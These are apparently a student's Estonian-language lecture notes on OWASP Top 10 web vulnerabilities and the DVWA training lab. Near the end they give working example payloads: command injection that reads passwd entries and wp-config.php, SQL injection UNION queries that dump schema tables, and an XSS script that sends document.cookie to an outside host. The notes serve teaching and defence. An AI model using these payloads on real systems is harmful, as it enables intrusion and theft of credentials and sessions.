DWVA & OWASP

NB! Tegemist on tudengi konspektiga, mis on loengutes/praktikumides räägitu põhjal tunnis kirjutatud. Loodetavasti on teistel tudengitel sellest õppimisel abi :)

• injection - SQL, OS või LDAP vead. N: kui veebilk-l on väli, kuhu kasutaja saab midagi sisestada (kasutajanimi, parool jne), siis välja sisestatakse ebasobivat infot, nt käske vms, mis võivad rakenduse katki teha v lasta ligi pääseda ja seeläbi võidakse saada olulist infot, mida tegelikult ei tohiks välja lekkida. Selle vastu aitab SQL tulemüür. See ei anna täielikku kaitset, kuid püüab pahalased siiski kinni ja saab teha automaatset IP blokeerimist.
• katkised autentimised ja sessiooni manageerimine - Tihtipeale halvasti teostatud ja seetõttu on ründajatel võimalik ohustada paroole, võtmeid ja kasutada nö teiste kasutajate identiteeti.
• XSS (cross-site-scripting) - XSS vead tekivad kui rakendus saab ebausaldusväärse info ja saadab selle brauserile ilma korraliku valideerimiseta. XSS võimaldab ründajatel käivitada skripte ohvri brauseris, mis võivad jälgida kasutaja tegevust, moonutada veebilk v kasutajat pahatahtlikele lk ümber suunata. Selle vastu kaitseb HTTP tulemüür.
• insecure direct object references - Tekib kui arendaja paljastab viite mõnele siseobjektile, failile, kaustale, andmebaasi võtmele vms. Ilma turvata on ründajal võimalik ligi pääseda infole, millele tal puudub volitus.
• security misconfiguration - Tugev turva st. turvatud rakenduse konfiguratsioon, mis on defineeritud ja arendatud, raamistik, rakenduse server, veebiserver, andmebaasiserver ja platvorm. Kõik need sätted peavad olema defineeritud, rakendatud, hooldatud, kuna paljudel teenustel puuduvad vaikimisi turvasätted. Kogu tarkvara peab olema uuendatud (up-to-date).
• sensitive data exposure (tundliku info paljastus) - Paljud veebirakendused ei kaitse tundlikku infot (krediitkaardid, autentimisinfo jms) korralikult. Ründajad võivad varastada v muuta nii nõrgalt kaitstud informatsiooni ja sooritada vastavaid kuritegusid. Tundlik info peab olema krüpteeritud vabalt v sihilikult, kasutusel peavad olema erilised ettevaatusabinõud kui vahetatakse brauserit.
• missing function level access control - Virtuaalselt kõik veebirakendused kontrollivad üle funktsioonide õigused enne kui nad teevad need nähtavaks UI-s. Rakendused peavad sama kontrolli tegema ka serveris, kui vastavale funktsioonile soovitakse ligipääsu. Kui päringud ei ole kinnitatud (üle kontrollitud), siis on ründajal võimalik ligipääseda rakenduse funktsioonidele, millele tal ei tohiks tegelikult ligipääsu olla.
• cross-site request forgery (CSRF) - CSRF sunnib sisselogitud ohvri brauseril saata võltsitud HTTP päring, mis sisaldab ohvri sessioonivõtit ja muud automaatselt kaasa arvatud autentimisinformatsiooni haavatavale veebirakendusele. Haavatav veebirakendus saab ohvrilt infot, mis tema arvates on õige, kuid tegelikult ei ole. Selle vastu kaitseb HTTP tulemüür.
• tuntud haavatavustega komponentide kasutamine - Haavatavad komponendid (library, framework jt tarkvara moodulid) töötavad alati eesõigusega. Turvaaugu puhul võivad nad põhjustada tõsist andmekadu või serveri ülevõtmist. Rakendused, mis kasutavad haavatavaid komponente võivad õõnestada nende kaitset ja võimaldada paljude võimalike rünnete toimumist.
• valideerimata ümber suunamised ja edastamised - Veebirakendused suunavad ümber ja edastavad tihtipeale kasutajaid teistele veebilehekülgedele ja kasutavad ebausaldusväärset infot sihtlehekülgede määramiseks. ilma korraliku valideerimiseta saavad ründajad ümber suunata ohvreid isiklikku infot välja petvatele lk-dele, v kasutada edastamist selleks, et saada ligipääs volitamata lk-dele.
• DDOS'i vastu aitab Varnish.

nginx(ssl) - varnish - http tulemüür - rakendus - sql tulemüür - sql baas

• brute force - N: 1 kasutaja paneb endale nõrga parooli ja seeläbi saadakse süsteemi sisse (isegi kui süsteem on korralikult turvatud). Seega admin peab seadma nõuded paroolile (pikkus, keerukus (tähed, nr, suured väiksed tähed, erimärgid), parooli vahetamise sagedus võiks olla määratud, paroolid peavad igal pool erinevad olema, samu paroole ei tohi kasutada erinevates rakendustes. Admin peab monitoorima (näeb, mis toimub ja saab seeläbi IP-sid blokkida ja viivitada). Admin peab veenduma, et parool ja kasutajanimi ei oleks URL-i real näha (veebirakendus ei tohi kasutada GET'i, peab kasutama POST'i). Kui HTTPS puudub, siis ei tohiks sellele lk-le üldse sisse logida (Wireshark'iga saab kõike lugeda ja kõik on näha). Kõikide oluliste tegevuste juures tuleb uuesti autentida (küsida parooli, PIN-koodi jne). Nagu pangas autenditakse enne igat olulist tegevust (kui tahad maksta, pead uue koodi sisestama).

• command execution - See on injection tüüpi rünne, kus kasutatakse ära seda, et veebirakendus ei kontrolli kasutaja poolt sisestatud informatsiooni. Kasutaja sisestatud info pannakse käsku ja seega käsu mõte muutub täielikult. Seeläbi on võimalik vaadata konfiguratsioonifaile jne.

Näited:

Kõikide kasutajate nägemiseks:

8.8.8.8 ; getent passwd 

Failide ja kataloogide nägemiseks:

8.8.8.8; ls -l 
8.8.8.8; ls -l ../
8.8.8.8; ls -l ../../

8.8.8.8; sed 's/<//'  ../../../../wordpress/wp-config.php

Faili loomiseks:

8.8.8.8 ; touch /var/tmp/kala.txt

Kataloogi sisu nägemiseks:

8.8.8.8 ; ls /var/tmp/

• upload - Lubatakse üles laadida PHP'd ja käivitada serveris.

• session id - Kui kuhugi sisse logid, siis selle asemel et, ei peaks igal pool uuesti kasutajanime ja parooli kasutama, siis brauser lisab nendele andmetele session id ja hakkab session id kaudu edaspidi autentima (server saadab cookie).

• cross-site request forgery (CSRF) - Saadab lingi ja kui kasutaja klikib sellele, siis pmst ongi süsteemile ligi saadud (saab nt parooli muuta kui kasutaja on samal ajal kuhugi sisse logitud). Kuidas kaitsta? Ebaturvaline rakendus tuleb internetist täiesti eemaldada, brauser tuleb sandbox'ida, kasutaja näeb ainult pilti ja muud mitte midagi teha ei saa (ei saa kopida, usb, mitte midagi). Kaitseks kasutatakse veel ka rakenduse tulemüüri.

Kasutaja käib internetis läbi mingi ruuteri. Üles pandi paha veebilk ja veebiserver (DNS). Kui kasutaja läheb mingile lehele, siis ta saab tagasi mingi lk. Kuri server lahendab selle lk uueks IP'ks. Nii muudetakse ruuteri IP ja parool ja muudetakse nimeservereid. On olemas scriptid, mis muudavad tuntumate ruuterite paroole. NB! Ruuteri parooli ei tohi salvestada brauserisse!

• sql injection - Kuhugi sql lausesse topitakse, see mis kasutaja sisestanud on. Seda, mida kasutaja sisestas enam ei kontrollita. Kasutaja lisab ise käsu lõpu/eraldaja '; ja edasi lisab # --, mis tähendab, et kõik, mis tuleb pärast seda (# --) on kommentaar. Seega süsteemi oma lisatud käsu eraldaja/lõpp loetakse kommentaariks ja ei leita käsus viga. Tegelikult ei tohiks kasutajale näidata error'eid (kui on näha sql errorit, siis on suht kindel, et see lk on rünnatav).

Näited:

1' union select BENCHMARK(100000000,ENCODE('hello','goodbye')),1; # -- 

2' union select table_schema, table_name from information_schema.tables; # -- 

3' union  select TABLE_NAME,COLUMN_NAME from information_schema.columns; # -- 

Nähakse kasutaja ees ja perekonnanime, mille id on 2:

2 select table_name from information_schema.tables; # -- 

• XSS - Javascript'i "süstimine" veebilehele (käivitatakse kliendi poolt. Leitakse viis, kuidas kliendile kuvada Javascript'i, mida häkker on tekitanud ja kuidas see tööle panna.

Link, mis sisaldab javascripti ja see pannakse käima. Kui veebileht tagastab kõik, mida kasutaja saadab, siis on see rünne teostatav.

Näited:

<script>alert(XSS on olemas)</script>

<script>var i='<img src="http://192.168.56.101/'+document.cookie+'" />'; document.write(i);</script>